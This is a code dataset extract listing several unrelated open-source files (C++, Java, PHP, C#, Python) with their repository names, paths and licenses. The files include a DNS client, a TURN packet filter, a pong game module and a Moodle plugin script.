code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
// Boost Includes ============================================================== #include <boost/python.hpp> #include <boost/cstdint.hpp> // Includes ==================================================================== #include <spuc/raised_cosine_imp.h> // Using ======================================================================= using namespace boost::python; // Module ====================================================================== BOOST_PYTHON_MODULE(raised_cosine_imp) { def("raised_cosine_imp", &SPUC::raised_cosine_imp); }
sav6622/spuc
pyste/raised_cosine_imp.cpp
C++
gpl-3.0
552
/* === This file is part of Tomahawk Player - <http://tomahawk-player.org> === * * Copyright 2010-2011, Leo Franchi <lfranchi@kde.org> * * Tomahawk is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Tomahawk is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Tomahawk. If not, see <http://www.gnu.org/licenses/>. */ #include "TransferStatusItem.h" #include "network/StreamConnection.h" #include "network/Servent.h" #include "utils/TomahawkUtils.h" #include "utils/TomahawkUtilsGui.h" #include "Artist.h" #include "JobStatusModel.h" #include "JobStatusView.h" #include "Result.h" #include "Source.h" #include "Track.h" TransferStatusItem::TransferStatusItem( TransferStatusManager* p, StreamConnection* sc ) : m_parent( p ) , m_stream( QPointer< StreamConnection >( sc ) ) { if ( m_stream.data()->type() == StreamConnection::RECEIVING ) m_type = "receive"; else m_type = "send"; connect( m_stream.data(), SIGNAL( updated() ), SLOT( onTransferUpdate() ) ); connect( Servent::instance(), SIGNAL( streamFinished( StreamConnection* ) ), SLOT( streamFinished( StreamConnection* ) ) ); } TransferStatusItem::~TransferStatusItem() { } QString TransferStatusItem::mainText() const { if ( m_stream.isNull() ) return QString(); if ( m_stream.data()->source().isNull() && !m_stream.data()->track().isNull() ) return QString( "%1" ).arg( QString( "%1 - %2" ).arg( m_stream.data()->track()->track()->artist() ).arg( m_stream.data()->track()->track()->track() ) ); else if ( !m_stream.data()->source().isNull() && !m_stream.data()->track().isNull() ) return QString( "%1 %2 %3" ).arg( QString( "%1 - %2" ).arg( m_stream.data()->track()->track()->artist() ).arg( m_stream.data()->track()->track()->track() ) ) .arg( m_stream.data()->type() == StreamConnection::RECEIVING ? tr( "from", "streaming artist - track from friend" ) : tr( "to", "streaming artist - track to friend" ) ) .arg( m_stream.data()->source()->friendlyName() ); else return QString(); } QString TransferStatusItem::rightColumnText() const { if ( m_stream.isNull() ) return QString(); return QString( "%1 kB/s" ).arg( m_stream.data()->transferRate() / 1000 ); } void TransferStatusItem::streamFinished( StreamConnection* sc ) { if ( m_stream.data() == sc ) emit finished(); } QPixmap TransferStatusItem::icon() const { if ( m_stream.isNull() ) return QPixmap(); if ( m_stream.data()->type() == StreamConnection::SENDING ) return m_parent->txPixmap(); else return m_parent->rxPixmap(); } void TransferStatusItem::onTransferUpdate() { emit statusChanged(); } TransferStatusManager::TransferStatusManager( QObject* parent ) : QObject( parent ) { connect( Servent::instance(), SIGNAL( streamStarted( StreamConnection* ) ), SLOT( streamRegistered( StreamConnection* ) ) ); } void TransferStatusManager::streamRegistered( StreamConnection* sc ) { JobStatusView::instance()->model()->addJob( new TransferStatusItem( this, sc ) ); } QPixmap TransferStatusManager::rxPixmap() const { return TomahawkUtils::defaultPixmap( TomahawkUtils::Downloading, TomahawkUtils::Original, QSize( 128, 128 ) ); } QPixmap TransferStatusManager::txPixmap() const { return TomahawkUtils::defaultPixmap( TomahawkUtils::Uploading, TomahawkUtils::Original, QSize( 128, 128 ) ); }
tomahawk-player/tomahawk
src/libtomahawk/jobview/TransferStatusItem.cpp
C++
gpl-3.0
3,947
/*************************************************************************** * Copyright (C) 2006 by Esteban Zeller & Daniel Sequeira * * juiraze@yahoo.com.ar - daniels@hotmail.com * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * ***************************************************************************/ #include "resumenanual.h" #include "visorresumenes.h" #include <QTextCursor> #include <QLocale> #include <QDate> #include <QSqlQuery> #include <QSqlRecord> #include <QSqlError> #include <QTextTable> #include <QFile> resumenAnual::resumenAnual(QObject *parent) : QObject(parent) { } resumenAnual::~resumenAnual() { }
tranfuga25s/gestotux
plugins/digifauno/resumenanual.cpp
C++
gpl-3.0
1,754
/* * ice4j, the OpenSource Java Solution for NAT and Firewall Traversal. * Maintained by the SIP Communicator community (http://sip-communicator.org). * * Distributable under LGPL license. * See terms of license at gnu.org. */ package org.ice4j.socket; import java.net.*; import org.ice4j.*; import org.ice4j.message.*; /** * Implements a <tt>DatagramPacketFilter</tt> which accepts * <tt>DatagramPacket</tt>s which represent TURN messages defined in * RFC 5766 "Traversal Using Relays around NAT (TURN): Relay Extensions to * Session Traversal Utilities for NAT (STUN)" and which are part of the * communication with a specific TURN server. <tt>TurnDatagramPacketFilter</tt> * does not accept TURN ChannelData messages because they require knowledge of * the value of the "Channel Number" field. * * @author Lubomir Marinov */ public class TurnDatagramPacketFilter extends StunDatagramPacketFilter { /** * Initializes a new <tt>TurnDatagramPacketFilter</tt> which will accept * <tt>DatagramPacket</tt>s which represent TURN messages and which are part * of the communication with a specific TURN server. * * @param turnServer the <tt>TransportAddress</tt> of the TURN server * <tt>DatagramPacket</tt>s representing TURN messages from and to which * will be accepted by the new instance */ public TurnDatagramPacketFilter(TransportAddress turnServer) { super(turnServer); } /** * Determines whether a specific <tt>DatagramPacket</tt> represents a TURN * message which is part of the communication with the TURN server * associated with this instance. * * @param p the <tt>DatagramPacket</tt> to be checked whether it represents * a TURN message which is part of the communicator with the TURN server * associated with this instance * @return <tt>true</tt> if the specified <tt>DatagramPacket</tt> represents * a TURN message which is part of the communication with the TURN server * associated with this instance; otherwise, <tt>false</tt> */ @Override public boolean accept(DatagramPacket p) { if (super.accept(p)) { /* * The specified DatagramPacket represents a STUN message with a * TURN method. */ return true; } else { /* * The specified DatagramPacket does not come from or is not being * sent to the TURN server associated with this instance or is a * ChannelData message which is not supported by * TurnDatagramPacketFilter. */ return false; } } /** * Determines whether this <tt>DatagramPacketFilter</tt> accepts a * <tt>DatagramPacket</tt> which represents a STUN message with a specific * STUN method. <tt>TurnDatagramPacketFilter</tt> accepts TURN methods. * * @param method the STUN method of a STUN message represented by a * <tt>DatagramPacket</tt> to be checked whether it is accepted by this * <tt>DatagramPacketFilter</tt> * @return <tt>true</tt> if this <tt>DatagramPacketFilter</tt> accepts the * <tt>DatagramPacket</tt> which represents a STUN message with the * specified STUN method; otherwise, <tt>false</tt> * @see StunDatagramPacketFilter#acceptMethod(char) */ @Override protected boolean acceptMethod(char method) { if (super.acceptMethod(method)) return true; else { switch (method) { case Message.TURN_METHOD_ALLOCATE: case Message.TURN_METHOD_CHANNELBIND: case Message.TURN_METHOD_CREATEPERMISSION: case Message.TURN_METHOD_DATA: case Message.TURN_METHOD_REFRESH: case Message.TURN_METHOD_SEND: case 0x0005: /* old TURN DATA indication */ return true; default: return false; } } } }
ziah/Friends-Module
ice4j-lib/org/ice4j/socket/TurnDatagramPacketFilter.java
Java
gpl-3.0
4,068
/* * This file is part of JGrasstools (http://www.jgrasstools.org) * (C) HydroloGIS - www.hydrologis.com * * JGrasstools is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package org.jgrasstools.gui.spatialtoolbox.core; /** * A modules wrapper. * * @author Andrea Antonello (www.hydrologis.com) */ public class ViewerModule { private final ModuleDescription moduleDescription; private ViewerFolder parentFolder; public ViewerModule( ModuleDescription moduleDescription ) { this.moduleDescription = moduleDescription; } @Override public String toString() { String name = moduleDescription.getName(); if (name.startsWith("Oms")) { name = name.substring(3); } return name; } public ModuleDescription getModuleDescription() { return moduleDescription; } public void setParentFolder( ViewerFolder parentFolder ) { this.parentFolder = parentFolder; } public ViewerFolder getParentFolder() { return parentFolder; } }
silviafranceschi/jgrasstools
gui/src/main/java/org/jgrasstools/gui/spatialtoolbox/core/ViewerModule.java
Java
gpl-3.0
1,640
<?php /** * Mahara: Electronic portfolio, weblog, resume builder and social networking * Copyright (C) 2006-2008 Catalyst IT Ltd (http://www.catalyst.net.nz) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * @package mahara * @subpackage blocktype-recentposts * @author Catalyst IT Ltd * @license http://www.gnu.org/copyleft/gpl.html GNU GPL * @copyright (C) 2006-2008 Catalyst IT Ltd http://catalyst.net.nz * */ defined('INTERNAL') || die(); class PluginBlocktypeRecentposts extends PluginBlocktype { public static function get_title() { return get_string('title', 'blocktype.blog/recentposts'); } public static function get_description() { return get_string('description', 'blocktype.blog/recentposts'); } public static function get_categories() { return array('blog'); } public static function get_viewtypes() { return array('portfolio', 'profile'); } public static function render_instance(BlockInstance $instance, $editing=false) { $configdata = $instance->get('configdata'); $result = ''; if (!empty($configdata['artefactids'])) { $artefactids = implode(', ', array_map('db_quote', $configdata['artefactids'])); if (!$mostrecent = get_records_sql_array( 'SELECT a.title, ' . db_format_tsfield('a.ctime', 'ctime') . ', p.title AS parenttitle, a.id, a.parent FROM {artefact} a JOIN {artefact} p ON a.parent = p.id WHERE a.artefacttype = \'blogpost\' AND a.parent IN ( ' . $artefactids . ' ) AND a.owner = (SELECT owner from {view} WHERE id = ?) ORDER BY a.ctime DESC LIMIT 10', array($instance->get('view')))) { $mostrecent = array(); } // format the dates foreach ($mostrecent as &$data) { $data->displaydate = format_date($data->ctime); } $smarty = smarty_core(); $smarty->assign('mostrecent', $mostrecent); $smarty->assign('view', $instance->get('view')); $result = $smarty->fetch('blocktype:recentposts:recentposts.tpl'); } return $result; } public static function has_instance_config() { return true; } public static function instance_config_form($instance, $istemplate) { if ($istemplate) { // No configuration when this block is in a template return array(); } safe_require('artefact', 'blog'); $configdata = $instance->get('configdata'); return array( self::artefactchooser_element((isset($configdata['artefactids'])) ? $configdata['artefactids'] : null, $istemplate), PluginArtefactBlog::block_advanced_options_element($configdata, 'blog'), ); } public static function artefactchooser_element($default=null, $istemplate=false) { return array( 'name' => 'artefactids', 'type' => 'artefactchooser', 'title' => get_string('blogs', 'artefact.blog'), 'defaultvalue' => $default, 'rules' => array( 'required' => true, ), 'blocktype' => 'recentposts', 'limit' => 10, 'selectone' => false, 'artefacttypes' => array('blog'), 'template' => 'artefact:blog:artefactchooser-element.tpl', ); } /** * Optional method. If specified, changes the order in which the artefacts are sorted in the artefact chooser. * * This is a valid SQL string for the ORDER BY clause. Fields you can sort on are as per the artefact table */ public static function artefactchooser_get_sort_order() { return 'title'; } public static function default_copy_type() { return 'nocopy'; } /** * Recentposts blocktype is only allowed in personal views, because * currently there's no such thing as group/site blogs */ public static function allowed_in_view(View $view) { return $view->get('owner') != null; } } ?>
Br3nda/mahara
htdocs/artefact/blog/blocktype/recentposts/lib.php
PHP
gpl-3.0
4,805
/* * Copyright (C) 2019 yi * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package jeplus.event; import jeplus.JEPlusProjectV2; /** * * @author yi */ public interface IF_ProjectChangedHandler { public abstract void projectChanged (JEPlusProjectV2 new_prj); public abstract void projectSaved (String filename); }
jeplus/jEPlus
src/main/java/jeplus/event/IF_ProjectChangedHandler.java
Java
gpl-3.0
959
/* * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * Format.java * Copyright (C) 2016 FracPete */ package com.github.fracpete.gpsformats4j.formats; import org.apache.commons.csv.CSVRecord; import java.io.File; import java.util.List; /** * Interface for formats. * * @author FracPete (fracpete at gmail dot com) */ public interface Format { /** the key for the track. */ public final static String KEY_TRACK = "Track"; /** the key for the time. */ public final static String KEY_TIME = "Time"; /** the key for the longitude. */ public final static String KEY_LON = "Longitude"; /** the key for the latitiude. */ public final static String KEY_LAT = "Latitude"; /** the key for the elevation. */ public final static String KEY_ELEVATION = "Elevation"; /** * Returns whether reading is supported. * * @return true if supported */ public boolean canRead(); /** * Reads the file. * * @param input the input file * @return the collected data, null in case of an error */ public List<CSVRecord> read(File input); /** * Returns whether writing is supported. * * @return true if supported */ public boolean canWrite(); /** * Writes to a file. * * @param data the data to write * @param output the output file * @return null if successful, otherwise error message */ public String write(List<CSVRecord> data, File output); }
fracpete/gpsformats4j
src/main/java/com/github/fracpete/gpsformats4j/formats/Format.java
Java
gpl-3.0
2,058
package sokobanMod.common; import java.util.List; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.IIcon; import cpw.mods.fml.relauncher.Side; import cpw.mods.fml.relauncher.SideOnly; /** * Sokoban Mod * @author MineMaarten * www.minemaarten.com * @license Lesser GNU Public License v3 (http://www.gnu.org/licenses/lgpl.html) */ public class BlockUnbreakableGlasses extends Block{ @SideOnly(Side.CLIENT) private IIcon[] texture; public BlockUnbreakableGlasses(Material par3Material){ super(par3Material); } @Override @SideOnly(Side.CLIENT) public void registerBlockIcons(IIconRegister par1IconRegister){ texture = new IIcon[1]; for(int i = 0; i < 1; i++) texture[i] = par1IconRegister.registerIcon("sokobanMod:BlockConcreteGlass" + i); } @Override @SideOnly(Side.CLIENT) public void getSubBlocks(Item par1, CreativeTabs par2CreativeTabs, List par3List){ for(int var4 = 0; var4 < 1; ++var4) { par3List.add(new ItemStack(SokobanMod.BlockUnbreakableGlasses, 1, var4)); } } @Override @SideOnly(Side.CLIENT) public IIcon getIcon(int side, int meta){ return texture[meta]; } /** * Is this block (a) opaque and (b) a full 1m cube? This determines whether * or not to render the shared face of two adjacent blocks and also whether * the player can attach torches, redstone wire, etc to this block. */ @Override public boolean isOpaqueCube(){ return false;// isOpaque; } /** * If this block doesn't render as an ordinary block it will return False * (examples: signs, buttons, stairs, etc) */ @Override public boolean renderAsNormalBlock(){ return false; } @Override public int damageDropped(int meta){ return meta; } }
MineMaarten/Sokoban-Mod
src/sokobanMod/common/BlockUnbreakableGlasses.java
Java
gpl-3.0
2,099
/* Copyright 2008,2009,2010 Edwin Eefting (edwin@datux.nl) This file is part of Synapse. Synapse is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Synapse is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Synapse. If not, see <http://www.gnu.org/licenses/>. */ /** \file A pong game proof of concept. Used in combination with pong.html or any other frontend someone might come up with ;) */ #include "synapse.h" #include <time.h> #include <set> #include <boost/date_time/posix_time/posix_time.hpp> namespace pong { using namespace std; using namespace boost; using namespace boost::posix_time; bool shutdown; SYNAPSE_REGISTER(module_Init) { Cmsg out; shutdown=false; // one game loop thread, one incoming event handle thread out.clear(); out.event="core_ChangeModule"; out["maxThreads"]=2; out.send(); out.clear(); out.event="core_ChangeSession"; out["maxThreads"]=2; out.send(); //client send-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "anonymous"; out["recvGroup"]= "modules"; out["event"]= "pong_NewGame"; out.send(); out["event"]= "pong_GetGames"; out.send(); out["event"]= "pong_JoinGame"; out.send(); out["event"]= "pong_StartGame"; out.send(); out["event"]= "pong_SetPosition"; out.send(); //client receive-only events: out.clear(); out.event="core_ChangeEvent"; out["modifyGroup"]= "modules"; out["sendGroup"]= "modules"; out["recvGroup"]= "anonymous"; out["event"]= "pong_GameStatus"; out.send(); out["event"]= "pong_GameDeleted"; out.send(); out["event"]= "pong_GameJoined"; out.send(); out["event"]= "pong_Positions"; out.send(); //start game engine out.clear(); out.event="pong_Engine"; out.send(); //tell the rest of the world we are ready for duty //(the core will send a timer_Ready) out.clear(); out.event="core_Ready"; out.send(); } //position of an object with motion prediction info class Cposition { private: int x; int y; int xSpeed; //pixels per second int ySpeed; ptime startTime; bool changed; public: bool isChanged() { return (changed); } Cposition() { set(0,0,0,0); } void set(int x, int y, int xSpeed, int ySpeed) { this->x=x; this->y=y; this->xSpeed=xSpeed; this->ySpeed=ySpeed; changed=true; startTime=microsec_clock::local_time(); } //get the position, according to calculations of speed and time. void get(int & currentX, int & currentY, int & currentXspeed, int & currentYspeed) { time_duration td=(microsec_clock::local_time()-startTime); currentX=x+((xSpeed*td.total_nanoseconds())/1000000000); currentY=y+((ySpeed*td.total_nanoseconds())/1000000000); currentXspeed=xSpeed; currentYspeed=ySpeed; changed=false; } }; class Cplayer { private: int x; int y; long double duration; //duration in S it takes to move to x,y bool moved; public: string name; Cplayer() { x=0; y=0; moved=true; } void setPosition(int x, int y, long double duration) { this->x=x; this->y=y; this->duration=duration; moved=true; } bool hasMoved() { return(moved); } void getPosition(int & x, int & y, long double & duration) { x=this->x; y=this->y; duration=this->duration; moved=false; } }; typedef map<int,Cplayer> CplayerMap; CplayerMap playerMap; class Cpong { int id; string name; Cposition ballPosition; //map settings int width; int height; typedef set<int> CplayerIds; CplayerIds playerIds; enum eStatus { NEW, RUNNING, ENDED }; eStatus status; public: Cpong() { status=NEW; width=10000; height=10000; ballPosition.set(0,0,1000,2000); } void init(int id, string name) { this->id=id; this->name=name; sendStatus(); } //broadcasts a gamestatus, so that everyone knows the game exists. void sendStatus(int dst=0) { Cmsg out; out.event="pong_GameStatus"; out["id"]=id; out["name"]=name; out["status"]=status; for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { out["players"].list().push_back(playerMap[*I].name); } out.dst=dst; out.send(); } void addPlayer(int playerId, string name) { if (playerIds.find(playerId)== playerIds.end()) { if (name=="") { throw(runtime_error("Please enter a name before joining the game.")); } playerMap[playerId].name=name; playerIds.insert(playerId); sendStatus(); Cmsg out; out.event="pong_GameJoined"; out["id"]=id; out.dst=playerId; out.send(); } else { throw(runtime_error("You're already in this game?")); } } void delPlayer(int playerId) { if (playerIds.find(playerId)!= playerIds.end()) { playerIds.erase(playerId); sendStatus(); //when the last person leaves, self destruct! if (playerIds.empty()) { Cmsg out; out.event="pong_DelGame"; out["id"]=id; out.send(); } } } void start() { status=RUNNING; sendStatus(); } //runs the simulation one step, call this periodically void runStep() { { //do calculations: int ballX,ballY,ballXspeed, ballYspeed; bool bounced=false; ballPosition.get(ballX,ballY, ballXspeed, ballYspeed); //bounce the ball of the walls? if (ballX>width) { ballX=width-(ballX-width); ballXspeed=ballXspeed*-1; bounced=true; } else if (ballX<0) { ballX=ballX*-1; ballXspeed=ballXspeed*-1; bounced=true; } if (ballY>height) { ballY=height-(ballY-height); ballYspeed=ballYspeed*-1; bounced=true; } else if (ballY<0) { ballY=ballY*-1; ballYspeed=ballYspeed*-1; bounced=true; } //it bounced? if (bounced) { //update position ballPosition.set(ballX,ballY, ballXspeed, ballYspeed); } } //send a update to all players, each player gets a uniq list, sending only the minimum amount of data //TODO: possible optimization if there are lots of players, for now the code is clean rather that uber efficient map<int,Cmsg> outs; //list of output messages, one for each player int x,y,xSpeed,ySpeed; long double duration; //send everyone a ball position change if (ballPosition.isChanged()) { ballPosition.get(x,y,xSpeed,ySpeed); for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { outs[*I].list().push_back(0); outs[*I].list().push_back(x); outs[*I].list().push_back(y); outs[*I].list().push_back(xSpeed); outs[*I].list().push_back(ySpeed); } } //check which players have an updated position for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { if (playerMap[*I].hasMoved()) { playerMap[*I].getPosition(x,y,duration); //add the update to the out-message for all players, but never tell them their own info. for (CplayerIds::iterator sendI=playerIds.begin(); sendI!=playerIds.end(); sendI++) { if (*sendI!=*I) { outs[*sendI].list().push_back(*I); outs[*sendI].list().push_back(x); outs[*sendI].list().push_back(y); outs[*sendI].list().push_back(duration); } } } } //now do the actual sending for (CplayerIds::iterator I=playerIds.begin(); I!=playerIds.end(); I++) { //only if there actually is something to send if (!outs[*I].list().empty()) { outs[*I].event="pong_Positions"; outs[*I].dst=*I; outs[*I].send(); } } } ~Cpong() { } }; mutex threadMutex; typedef map<int,Cpong> CpongMap ; CpongMap pongMap; // Get a reference to a pong game or throw exception Cpong & getPong(int id) { if (pongMap.find(id)== pongMap.end()) throw(runtime_error("Game not found!")); return (pongMap[id]); } SYNAPSE_REGISTER(pong_Engine) { bool idle; while(!shutdown) { idle=true; { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.runStep(); idle=false; } } if (!idle) usleep(10000); else sleep(1); //nothing to do, dont eat all the cpu .. } } /** Creates a new game on behave of \c src * */ SYNAPSE_REGISTER(pong_NewGame) { lock_guard<mutex> lock(threadMutex); if (msg["name"].str()=="") { throw(runtime_error("Please supply your name when creating a game.")); } if (pongMap.find(msg.src)== pongMap.end()) { pongMap[msg.src].init(msg.src, msg["name"].str()); //TODO: code duplication: //leave all games and join this one: for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg.src).addPlayer(msg.src, msg["name"]); } else { throw(runtime_error("You already own a game!")); } } //only modules can del games SYNAPSE_REGISTER(pong_DelGame) { lock_guard<mutex> lock(threadMutex); pongMap.erase(msg["id"]); Cmsg out; out.event="pong_GameDeleted"; out["id"]=msg["id"]; out.send(); } /** Lets \c src join a game * */ SYNAPSE_REGISTER(pong_JoinGame) { lock_guard<mutex> lock(threadMutex); //leave all other games //TODO: future versions allow you perhaps to be in multiple games? :) for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg.src); } getPong(msg["id"]).addPlayer(msg.src, msg["name"]); } /** Starts game of \c src * */ SYNAPSE_REGISTER(pong_StartGame) { lock_guard<mutex> lock(threadMutex); getPong(msg.src).start(); } /** Returns status of all games to client. * */ SYNAPSE_REGISTER(pong_GetGames) { lock_guard<mutex> lock(threadMutex); for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.sendStatus(msg.src); } } /** Sets position of \c src * */ SYNAPSE_REGISTER(pong_SetPosition) { lock_guard<mutex> lock(threadMutex); if (msg.list().size()==3) { CvarList::iterator I; I=msg.list().begin(); int x,y; long double duration; x=*I; I++; y=*I; I++; duration=*I; playerMap[msg.src].setPosition(x, y, duration); } } SYNAPSE_REGISTER(module_SessionEnded) { lock_guard<mutex> lock(threadMutex); //leave all games for (CpongMap::iterator I=pongMap.begin(); I!=pongMap.end(); I++) { I->second.delPlayer(msg["session"]); } //remove from map playerMap.erase(msg["session"]); } SYNAPSE_REGISTER(module_Shutdown) { shutdown=true; } }
psy0rz/Synapse
modules/pong.module/module.cpp
C++
gpl-3.0
11,121
from pygame import USEREVENT # Events SONG_END_EVENT = USEREVENT + 1 ENEMY_DESTROYED_EVENT = USEREVENT + 2 BOSS_BATTLE_EVENT = USEREVENT + 3 DISPLAY_MESSAGE_EVENT = USEREVENT + 4 END_LEVEL_EVENT = USEREVENT + 5 END_GAME_EVENT = USEREVENT + 6 # Constants SCREEN_SIZE = (800, 600) # Colors COLOR_BLACK = (0, 0, 0)
juanjosegzl/learningpygame
constants.py
Python
gpl-3.0
315
using System; using System.Collections.Generic; using System.Linq; using System.Runtime.Serialization; using System.Text; using System.Threading.Tasks; using BMW.Rheingold.Psdz.Model.Ecu; namespace BMW.Rheingold.Psdz.Model.Sfa { [KnownType(typeof(PsdzEcuIdentifier))] [KnownType(typeof(PsdzFeatureIdCto))] [DataContract] public class PsdzSecureTokenEto : IPsdzSecureTokenEto { [DataMember] public IPsdzEcuIdentifier EcuIdentifier { get; set; } [DataMember] public IPsdzFeatureIdCto FeatureIdCto { get; set; } [DataMember] public string SerializedSecureToken { get; set; } [DataMember] public string TokenId { get; set; } } }
uholeschak/ediabaslib
Tools/Psdz/PsdzClientLibrary/Psdz/PsdzSecureTokenEto.cs
C#
gpl-3.0
720
// Copyright (c) 2005 Brian Wellington (bwelling@xbill.org) package org.xbill.DNS; import java.io.*; import java.net.*; import java.nio.channels.*; import org.xbill.DNS.utils.hexdump; class Client { protected long endTime; protected SelectionKey key; protected Client(SelectableChannel channel, long endTime) throws IOException { boolean done = false; Selector selector = null; this.endTime = endTime; try { selector = Selector.open(); channel.configureBlocking(false); key = channel.register(selector, 0); done = true; } finally { if (!done && selector != null) selector.close(); if (!done) channel.close(); } } static protected void blockUntil(SelectionKey key, long endTime) throws IOException { long timeout = endTime - System.currentTimeMillis(); int nkeys = 0; if (timeout > 0) nkeys = key.selector().select(timeout); else if (timeout == 0) nkeys = key.selector().selectNow(); if (nkeys == 0) throw new SocketTimeoutException(); } static protected void verboseLog(String prefix, byte [] data) { if (Options.check("verbosemsg")) System.err.println(hexdump.dump(prefix, data)); } void cleanup() throws IOException { key.selector().close(); key.channel().close(); } }
dikonikon/layer17
src/main/java/org/xbill/DNS/Client.java
Java
gpl-3.0
1,221
#include "SceneObject2.h" SceneObject2::SceneObject2 () { } SceneObject2::~SceneObject2 () { } void SceneObject2::Update2 () { } void SceneObject2::Gravity_check2() { } void SceneObject2::Draw2 () { } void SceneObject2::Jump2() { } void SceneObject2::isover2() { over2 = true; } bool SceneObject2::get_over2() { return over2; } void SceneObject2::notover2() { over2 = false; } bool SceneObject2::over2 = false; bool SceneObject2::finish2 = false; void SceneObject2::set_finish2() { finish2 = true; } bool SceneObject2::get_finish2() { return finish2; }
ralucamindr/LiteEngine2D
src/SceneObject2.cpp
C++
gpl-3.0
569
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Renders text with the active filters and returns it. Used to create previews of computings * using whatever tex filters are enabled. * * @package atto_computing * @copyright 2014 Geoffrey Rowland <rowland.geoff@gmail.com> * Based on @package atto_equation * @copyright 2013 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('AJAX_SCRIPT', true); require_once(dirname(__FILE__) . '/../../../../../config.php'); $contextid = required_param('contextid', PARAM_INT); list($context, $course, $cm) = get_context_info_array($contextid); $PAGE->set_url('/lib/editor/atto/plugins/computing/ajax.php'); $PAGE->set_context($context); require_login($course, false, $cm); require_sesskey(); $action = required_param('action', PARAM_ALPHA); if ($action === 'filtertext') { $text = required_param('text', PARAM_RAW); $result = filter_manager::instance()->filter_text($text, $context); echo $OUTPUT->header(); echo $result; die(); } print_error('invalidarguments');
nitro2010/moodle
lib/editor/atto/plugins/computing/ajax.php
PHP
gpl-3.0
1,810
